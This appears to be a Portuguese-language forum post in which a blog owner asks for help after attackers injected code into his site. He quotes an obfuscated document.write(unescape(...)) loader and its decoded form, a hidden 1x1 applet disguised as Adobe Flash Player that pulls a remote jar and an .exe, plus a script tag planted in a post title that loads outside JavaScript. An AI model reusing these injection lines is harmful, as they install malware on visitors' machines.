João
Respostas criadas no fórum
-
pode me explicar como usar essas funções? onde eu coloco elas?
esse arquivo .js dele tem isso dentro:
document.write(unescape(‘%3C%61%70%70%6C%65%74%20%6E%61%6D%65%3D%22%41%64%6F%62%65%20%46%6C%61%73%68%20%50%6C%61%79%65%72%20%31%31%22%20%63%6F%64%65%3D%22%61%66%70%2E%63%6C%61%73%73%22%20%61%72%63%68%69%76%65%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%61%62%73%36%64%65%61%67%6F%73%74%6F%2E%63%6F%6D%2F%70%6F%72%74%61%6C%2F%6C%61%6E%67%75%61%67%65%2F%61%66%70%2E%6A%61%72%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%3E%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%6C%69%6E%6B%22%20%76%61%6C%75%65%3D%22%68%74%74%70%3A%2F%2F%64%76%67%6D%65%74%74%69%6E%67%65%6E%2E%68%75%6E%64%65%2D%74%72%61%69%6E%69%6E%67%2E%69%6E%66%6F%2F%6C%61%6E%67%75%61%67%65%2F%6A%78%76%69%6E%73%74%61%6C%6C%2E%65%78%65%22%3E%3C%2F%61%70%70%6C%65%74%3E’));
que descriptografado dá isso:
<applet name=”Adobe Flash Player 11″ code=”afp.class” archive=”http://www.abs6deagosto.com/portal/language/afp.jar” width=”1″ height=”1″><param name=”link” value=”http://dvgmettingen.hunde-training.info/language/jxvinstall.exe”></applet>
aconteceu novamente, a pessoa colocou esse script em um titulo de um post do meu blog:
<script src=http://habiterraconsulting.com/xmlrpc/xmlrpc.js></script>
ficou assim:
Título <script src=http://habiterraconsulting.com/xmlrpc/xmlrpc.js></script>
daí quando abre o blog, pede para instalar algo estilo o java